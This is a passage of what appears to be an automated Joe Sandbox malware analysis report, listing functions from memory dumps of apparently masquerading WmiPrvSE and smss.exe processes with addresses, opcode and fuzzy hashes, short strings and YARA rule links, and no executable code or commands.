Download Yara Rule

Strings

L_H, xrefs: 00007FF848DA3870

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID: L_H
API String ID: 0-402390507
Opcode ID: bcdcd5e773b5e0d619f170e26a304be1735759b9a45cfbe78bbaa35dd8efb673
Instruction ID: caf63c4fb10de32cfd5346d5639c1f7bd5591b73eedd53e0778ef41a2b883275
Opcode Fuzzy Hash: bcdcd5e773b5e0d619f170e26a304be1735759b9a45cfbe78bbaa35dd8efb673
Instruction Fuzzy Hash: 9291D271D1CA4A8FE798EB6CD8193B8BBE2FB59390F94417AC00DD72C6CBB418458B45

Function 00007FF848DA16E8 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

2EH, xrefs: 00007FF848DA1EB3

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID: 2EH
API String ID: 0-17899816
Opcode ID: 6b2b6740c7af8d1deb976d3bcbf3f127a31b2959c835f07bcab6020bb4547c6e
Instruction ID: 2aa30a9f9c4927de2a0e2d96594ee15ade4e77ada39be5d77b4f5541bd89edd3
Opcode Fuzzy Hash: 6b2b6740c7af8d1deb976d3bcbf3f127a31b2959c835f07bcab6020bb4547c6e
Instruction Fuzzy Hash: CD819231A0DB4A8FDF49EE1CA8556B977E2FF98740F24417AD44EC7286CF34A8068785

Function 00007FF848DA1D2D Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f854ab903f6e115f68b07a706391c2e7995f4ffcd54b6ff822360b07bd3473cd
Instruction ID: 3b1ef6fd21956b4aac830baf575ef79fa1745c118df5647f5214ccd73b66ce0a
Opcode Fuzzy Hash: f854ab903f6e115f68b07a706391c2e7995f4ffcd54b6ff822360b07bd3473cd
Instruction Fuzzy Hash: EB51B431A1DB8A4FDF48DE1898546BA77E2FF98740F24457ED44AC7285CF34E8068785

Function 00007FF848DA31F5 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97476c0e5da31b3896c2614e368eab0b941af81ebc6b5655b5011f09e9685a2b
Instruction ID: c465c9fedd0bd1e3535c81e8c3ddcedc84cdb00ab2bff3b6d4191e50727a0138
Opcode Fuzzy Hash: 97476c0e5da31b3896c2614e368eab0b941af81ebc6b5655b5011f09e9685a2b
Instruction Fuzzy Hash: C5612774D0E6198FEB58EFA9C4557EDBBB2EF48340F60407AD009E7292CB386948CB14

Function 00007FF848DA2145 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a490cc8c7bd8ef88f5caf13f9076a877434f82869d67bd92cecde30f75d7a24b
Instruction ID: b29df63a3a2579d9bfa1f4d3c53de0d3cf8a132744d9ec68ff073b4abaadbd2f
Opcode Fuzzy Hash: a490cc8c7bd8ef88f5caf13f9076a877434f82869d67bd92cecde30f75d7a24b
Instruction Fuzzy Hash: BE414831E1EB4A4FE745EF3898452B97BE0EF4A380F1541BAD04CC3192DF28A8458355

Function 00007FF848DA0F36 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f00ab290d12ac7f7f5056df4688a8eab7b2ec4e1ef7fb918696b96a9a94af46c
Instruction ID: d72cbc8edbc962c6b45d63c33e1cf6a0f8b4a0235a38bd83af1a9a25a9c63e9f
Opcode Fuzzy Hash: f00ab290d12ac7f7f5056df4688a8eab7b2ec4e1ef7fb918696b96a9a94af46c
Instruction Fuzzy Hash: 11312F31D0A6198EEB64FB68C4447EDB3A1FF54341F6042B9D00DA7296DF386D498B58

Function 00007FF848DA341C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5aed9aeecf7d8572a863ed610d813e7fe6fa81e35f50458de55117ee5e869e48
Instruction ID: 9218a73a34f2bae6195e28225bd177aae12e5817ec43a414a2613192a39e2c54
Opcode Fuzzy Hash: 5aed9aeecf7d8572a863ed610d813e7fe6fa81e35f50458de55117ee5e869e48
Instruction Fuzzy Hash: 1421AF3084D78A9FD746EBB888186A97FF1FF1A350F1905FAD049C70A2DB789585C711

Function 00007FF848DA0A01 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d83b259992f88f1b4f710bd2d49e144e4d96b1fe870070d14dae84a03cfa7555
Instruction ID: 47f9e7ca7ac89dc11079707addfcc6a34fcbb9e1053a29da7a0d920298340cb6
Opcode Fuzzy Hash: d83b259992f88f1b4f710bd2d49e144e4d96b1fe870070d14dae84a03cfa7555
Instruction Fuzzy Hash: 77116A31D0EA4E9EE780FB6888492B97BE0FF58380F9445B6C409C7096EF38A9488744

Function 00007FF848DA126D Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe5534557b7aa45614783777f9e9bfd90376425f0db45c44937a2116f62cfa43
Instruction ID: e056ec89af50f356d028ed91035f184657406b6c39c1e61d8d1bcd15e0e3c089
Opcode Fuzzy Hash: fe5534557b7aa45614783777f9e9bfd90376425f0db45c44937a2116f62cfa43
Instruction Fuzzy Hash: E6119070D4E64A8FEF98AB64945A3FA7BE0FF5A340F6405BED41AC70D1EF2894488704

Function 00007FF848DA3545 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6aa929d056d74cf2257bafadc3f3f734f1e432ae335055fd2c482f50e6efd1cf
Instruction ID: f18f0f82b385b49890a3b589dd3e5b9bcb9f01c3fa52fd238ebb3c9a5be338c5
Opcode Fuzzy Hash: 6aa929d056d74cf2257bafadc3f3f734f1e432ae335055fd2c482f50e6efd1cf
Instruction Fuzzy Hash: 70115B7090AA8E8FEB98EF6888592BD7BA1FF18340F5008BED41AD7192DB35A544C704

Function 00007FF848DA2E71 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b753856681fca2e2fff64a78d0243a6b89fde28f00e63e8910257716628aaa12
Instruction ID: 5e32c66be2b7965cab124616b1d81e7853a380a3a4343aa72afe49e69bdf2ffc
Opcode Fuzzy Hash: b753856681fca2e2fff64a78d0243a6b89fde28f00e63e8910257716628aaa12
Instruction Fuzzy Hash: 5E017C31E4EA4A8FE755FF2488886B97BE0EF19340F5545B6D40CC7092EB38E6888744

Function 00007FF848DA05D8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de4ea34d870cd585de7e703de7d6a8db6ddcb2ce27887d3f00c89e93ad8bd0ac
Instruction ID: d3c0442f1c96a62ea933d932562edf9b1033c7d8f71cbfbdc820d0d65746acc9
Opcode Fuzzy Hash: de4ea34d870cd585de7e703de7d6a8db6ddcb2ce27887d3f00c89e93ad8bd0ac
Instruction Fuzzy Hash: D2018C30909A0E9EEF88FF64D4456B9B7A1FF58345F20447AD40FC3180CB35A594CB44

Function 00007FF848DA284D Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee00d2655be7cdc19cc2b1da763807135c955bc04eeed7e5dd90cbe207a51f5f
Instruction ID: fdb9b156884a3e1a7c28ea47bc785418ab5550035182dc17f62b09e3df0ea82c
Opcode Fuzzy Hash: ee00d2655be7cdc19cc2b1da763807135c955bc04eeed7e5dd90cbe207a51f5f
Instruction Fuzzy Hash: 6C017C30E0EA4A9FE795BF3484486B97BE0FF59390F5549B6E408C7092EF38E5488605

Function 00007FF848DA2EE9 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2186d6879abd01d73214be59a86f6d6b44719ad8bc5814857a553618f3eb363c
Instruction ID: 39b4c75f528896f5cb2e18c97375c240aed34bba79bfbf468cf3181790296b04
Opcode Fuzzy Hash: 2186d6879abd01d73214be59a86f6d6b44719ad8bc5814857a553618f3eb363c
Instruction Fuzzy Hash: 41018F30A5E7899FE752FF3588592A97BE0EF0A340F1505F6D408CB0AAEF28A548C715

Function 00007FF848DA1CAD Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b7e0d9a7e1083e54d51b35120eeb88190ad040e1ccba2db21338c913f450999
Instruction ID: 596c24332057beee20e7b262c762697292b9f1b3682f106e845c440693715b4e
Opcode Fuzzy Hash: 0b7e0d9a7e1083e54d51b35120eeb88190ad040e1ccba2db21338c913f450999
Instruction Fuzzy Hash: 8201DF3180E78E8FEF4AEF2498466BA7BA0FF59340F1401BDD40AC7081DB399458C744

Function 00007FF848DA0610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1541541cb3620e03cce8327d5fada703fe2bd1a75955159c346f73a700d4dee4
Instruction ID: a68a1c9340e437fa3de7f876a8967b66e874c917df5595100f46d7f5894c3f12
Opcode Fuzzy Hash: 1541541cb3620e03cce8327d5fada703fe2bd1a75955159c346f73a700d4dee4
Instruction Fuzzy Hash: 40016930A5AA0E9EEB88EF34C4492B972A0FF18349F20087EE41EC21D5DF39A594C604

Function 00007FF848DA0608 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b2d8b253a17ed1e9aca41bf68282b561d3a6125eeb7cec4cbe3dcdd7601ae54
Instruction ID: 39ba234b7abe415943698cd77e4b51d6c31e277ec2ca49976b8b0beb147c108c
Opcode Fuzzy Hash: 9b2d8b253a17ed1e9aca41bf68282b561d3a6125eeb7cec4cbe3dcdd7601ae54
Instruction Fuzzy Hash: 8E018130919A0E9EEB58FF25C4582BA73A1FF18345F20087ED41EC31D5DF35A694C614

Function 00007FF848DA1280 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01c8d70fc250ad73bdb98e871b71de4c88fe96625fb9d20936d2a42d5e3507a6
Instruction ID: 2c62d39658b6719dda4f95d9380f3b994a6b9b1b6065ede383f669feaa287d4a
Opcode Fuzzy Hash: 01c8d70fc250ad73bdb98e871b71de4c88fe96625fb9d20936d2a42d5e3507a6
Instruction Fuzzy Hash: 92F0A470D5E64F8EEF94AB6498193FA77E4FF59344F14047AD45EC30C1EF2494188205

Function 00007FF848DA2769 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ac22e76e06653ad778fe72bca14731dab2fa5edae6672a3ff20dd649a6b4b5e
Instruction ID: f4bbe3161fb493041785675ca7533cbaf4e1202717f0de79b7a0e52a53667c1a
Opcode Fuzzy Hash: 8ac22e76e06653ad778fe72bca14731dab2fa5edae6672a3ff20dd649a6b4b5e
Instruction Fuzzy Hash: DFF0C23190E7898FEB59AF3488552A93B60FF16340F1508BAD809C61D2DB389518C702

Function 00007FF848DA27DD Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ddd85c7d1ffb5a0ab3c44eee15507e47fd16bd26f23a6cf2d0d9380cbc155de
Instruction ID: 6703ae740386020982de2e8583fe3e02c9f36c3f089ccd2041717c2822eb016c
Opcode Fuzzy Hash: 5ddd85c7d1ffb5a0ab3c44eee15507e47fd16bd26f23a6cf2d0d9380cbc155de
Instruction Fuzzy Hash: 81F0FA3190FB8E8FEB58AF34881A2B93BA0FF05214F0005BAE809C61D2DB399418C201

Function 00007FF848DA0CB6 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2276307304.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff848da0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2b6ca1da6010591e08442100adc3a7638a6418543e4db3ca53c9959f9b611b0
Instruction ID: e18a64a5f415707219a1395e18f3543eeaf3159da10d112ebb150ee07c9b4461
Opcode Fuzzy Hash: c2b6ca1da6010591e08442100adc3a7638a6418543e4db3ca53c9959f9b611b0
Instruction Fuzzy Hash: 1DF0653090D386CFEB11EB54D4407E97BF0BF15345F2481B6C41997182DB7C5549DB59

Analysis Process: smss.exePID: 8172, Parent PID: 8052COMMON

Executed Functions

Function 00007FF848DA9372 Relevance: 4.9, Strings: 3, Instructions: 1171COMMON

Download Yara Rule

Strings

Z[, xrefs: 00007FF848DA9CCD
0[, xrefs: 00007FF848DA9544
6[, xrefs: 00007FF848DA985A

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID: 0[$6[$Z[
API String ID: 0-495253665
Opcode ID: 3d85d8bf15c655ea5f9e9a619bdbc3f36afa7cf6d8ea562507fbd9a3993c0eea
Instruction ID: 3346c4b01ffef02edd7e12a1bbdc8d38e43a19c2cdf9b6f84211b6be8fd13176
Opcode Fuzzy Hash: 3d85d8bf15c655ea5f9e9a619bdbc3f36afa7cf6d8ea562507fbd9a3993c0eea
Instruction Fuzzy Hash: 4FA2B634919A199FDBA9EB18C895BA8B3F1FF58740F5041E9D00DE3296CB35AE85CF04

Function 00007FF848DA1309 Relevance: 3.8, Strings: 3, Instructions: 51COMMON

Download Yara Rule

Strings

/, xrefs: 00007FF848DA1B47
), xrefs: 00007FF848DA133A
", xrefs: 00007FF848DA1362

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID: "$)$/
API String ID: 0-1070994048
Opcode ID: fc4579f3f940da2f552131d9e2dd357e1c323d5ce7ca1884fb6212e9f7da8ca4
Instruction ID: 3a3d2fc1b48273dfc83e71da9027340b50b4aeb41494e75ada8fc85e8f292cef
Opcode Fuzzy Hash: fc4579f3f940da2f552131d9e2dd357e1c323d5ce7ca1884fb6212e9f7da8ca4
Instruction Fuzzy Hash: 4D113A75D0872DCFDF68DF94D8987ACB3B6FB59301F1042AAC00AAB280DB746948CB14

Function 00007FF848DA5D20 Relevance: 2.8, Strings: 2, Instructions: 259COMMON

Download Yara Rule

Strings

*[, xrefs: 00007FF848DA92CF
Z, xrefs: 00007FF848DA92BE

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID: *[$Z
API String ID: 0-3953434379
Opcode ID: e7651a59f89b2d53e8ed8d3ed01e2ba3ee839a63cb82919bfb173f8fe65da408
Instruction ID: b595a244cc9e63a660fa2d8746c141a1400ebb398f7ba47bb447b2e11ffffc64
Opcode Fuzzy Hash: e7651a59f89b2d53e8ed8d3ed01e2ba3ee839a63cb82919bfb173f8fe65da408
Instruction Fuzzy Hash: 98A1D230909A2E8FDBA5EF58C885BE9B7F1FF59340F5041A9D01DE3295DB34A984CB44

Function 00007FF848DA2D9B Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

to, xrefs: 00007FF848DA2EB6

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID: to
API String ID: 0-922801746
Opcode ID: 6d786bef7ba4c95564b61dc3d4a4b5303c1ef9fdbb999f646f639c393c4b0f42
Instruction ID: 34cc1674c899361b7804c7e29facabc6855471f8ddd06f08fe49b05666996da7
Opcode Fuzzy Hash: 6d786bef7ba4c95564b61dc3d4a4b5303c1ef9fdbb999f646f639c393c4b0f42
Instruction Fuzzy Hash: 7EA1C370D09A1D8EEB94EF98C855BECB7B1FF58340F5041AAD00DE3292DF3469898B44

Function 00007FF848D9CCFB Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

wM_^, xrefs: 00007FF848D9CD01

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848D98000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D98000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848d98000_smss.jbxd

Similarity

API ID:
String ID: wM_^
API String ID: 0-505308354
Opcode ID: ecf1619afcd1cb11f40fa0312aa347eb5e0bc4959470b0f81a5fede883256ab3
Instruction ID: 3434b1ccd653edf068de43af4d43d9e6bcaa7b219e2b9994cd5ccb09ceb2d65e
Opcode Fuzzy Hash: ecf1619afcd1cb11f40fa0312aa347eb5e0bc4959470b0f81a5fede883256ab3
Instruction Fuzzy Hash: FC41E466A0F66A5EE7617AACB8142F97B54EF413B9F040137D10CCA083DF14354982B9

Function 00007FF848DAB2AA Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

c, xrefs: 00007FF848DAB2AD

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID: c
API String ID: 0-112844655
Opcode ID: 4ec66bf62e2c642eef20456c9d1f2c24502cfa98dad6ce8c7e993a25410c5c06
Instruction ID: 3177765e360a0005754285b037911a1e6969218906dbcaeefd69cd9387632b4e
Opcode Fuzzy Hash: 4ec66bf62e2c642eef20456c9d1f2c24502cfa98dad6ce8c7e993a25410c5c06
Instruction Fuzzy Hash: AC110A36E1DE468FE75CE93C645933867D2FFA4BA0F5802B6C009C7282DE146C4A8751

Function 00007FF848DAB224 Relevance: .5, Instructions: 535COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac24bb8bb165ddea9fb3da3ad646e10124946820cd26f1270f10d1e5f50065fc
Instruction ID: 6aa31a9c05717a1ab88614a1a87d837a175b2cd153dc0a8150065ab2a4eb5329
Opcode Fuzzy Hash: ac24bb8bb165ddea9fb3da3ad646e10124946820cd26f1270f10d1e5f50065fc
Instruction Fuzzy Hash: E4F10831A0DA498FE7A8EB18C8557B837D1FF58351F24027AD44DC7292DF29AC4B8745

Function 00007FF848DA8FF2 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4301f6d0d3c5c07e57fcc72f8bcd7763d77ba395c98cbd732e5716d5477fb298
Instruction ID: 0b996c60d196ec511913015e72fe24bbb9c6bd9927110da4f1af2120cb13b7bd
Opcode Fuzzy Hash: 4301f6d0d3c5c07e57fcc72f8bcd7763d77ba395c98cbd732e5716d5477fb298
Instruction Fuzzy Hash: 0361E431C0E66A9FE751FB28D899BFA7BA0FF00384F1401BAD05CD7197DB2869448B59

Function 00007FF848DA8F88 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e00907bdf7715bda932c8f90363dca52cf690ba028a960e396bb99031815744
Instruction ID: 4e7047a5d1b712862844f1871644b7c490624de5442d343c78aab7dd73eb3fd5
Opcode Fuzzy Hash: 7e00907bdf7715bda932c8f90363dca52cf690ba028a960e396bb99031815744
Instruction Fuzzy Hash: E161D531C0E65A9FEB51FF2898947F97BA0FF01384F1401B6D05CD7193DB2869488B59

Function 00007FF848D931F5 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848d90000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 055c5b5ebee9c73dfa495e197c4338ac1e9234b7315696f82c91602088bb2940
Instruction ID: 63483aab36f8a9d328a778ce490f4eb5dddb49d02acdbc3604ecc7018f7520cd
Opcode Fuzzy Hash: 055c5b5ebee9c73dfa495e197c4338ac1e9234b7315696f82c91602088bb2940
Instruction Fuzzy Hash: 14614770D4D5198EEB58EFA8C4987EDBBB1FF48344F50507AD009E72A2CB38A948CB54

Function 00007FF848DB1E38 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c7c076f51ad3ea816a90e0f51409eace02cd07858b9c5cf4e23de5270da240d
Instruction ID: b2e4ac64587a324598105d2919e061c74c84923a7bec5591ba26378b83d3a754
Opcode Fuzzy Hash: 2c7c076f51ad3ea816a90e0f51409eace02cd07858b9c5cf4e23de5270da240d
Instruction Fuzzy Hash: EE415422E1D55A5EEBA8B66D142137962C2FF6D2D0F64417AE10FC32CADF186C0A4395

Function 00007FF848DB1E81 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6db67a1b6f01cfffdbad1f447a20b285e6e275871d11db71027d45bc99636b40
Instruction ID: db5bc59ff0aea1d424752bbfceb3619b606959dd72692604cd6116791bb3a866
Opcode Fuzzy Hash: 6db67a1b6f01cfffdbad1f447a20b285e6e275871d11db71027d45bc99636b40
Instruction Fuzzy Hash: 94419622F1D45A5EEBA8B76D142137962C2FFAC2D0F64017AE10FC32CADF186C0A4395

Function 00007FF848DA563D Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60eb5c1ac1c1f203d206c3f32fa2b058f02865b7d5d6d9c993c7d84e52926be2
Instruction ID: d733308a2480d9159238b43a3c092b441cd2cab1faeade1fea7533816f4f42c9
Opcode Fuzzy Hash: 60eb5c1ac1c1f203d206c3f32fa2b058f02865b7d5d6d9c993c7d84e52926be2
Instruction Fuzzy Hash: 72515C70D09A5D8FEB94EBA8D459BADBBF1FF28340F10016AD00DE7296DB34A845CB44

Function 00007FF848D9CC8D Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848D98000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D98000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848d98000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f768a267828587ee52d2992eff1f2befb16289b386ceef931176308140f1add
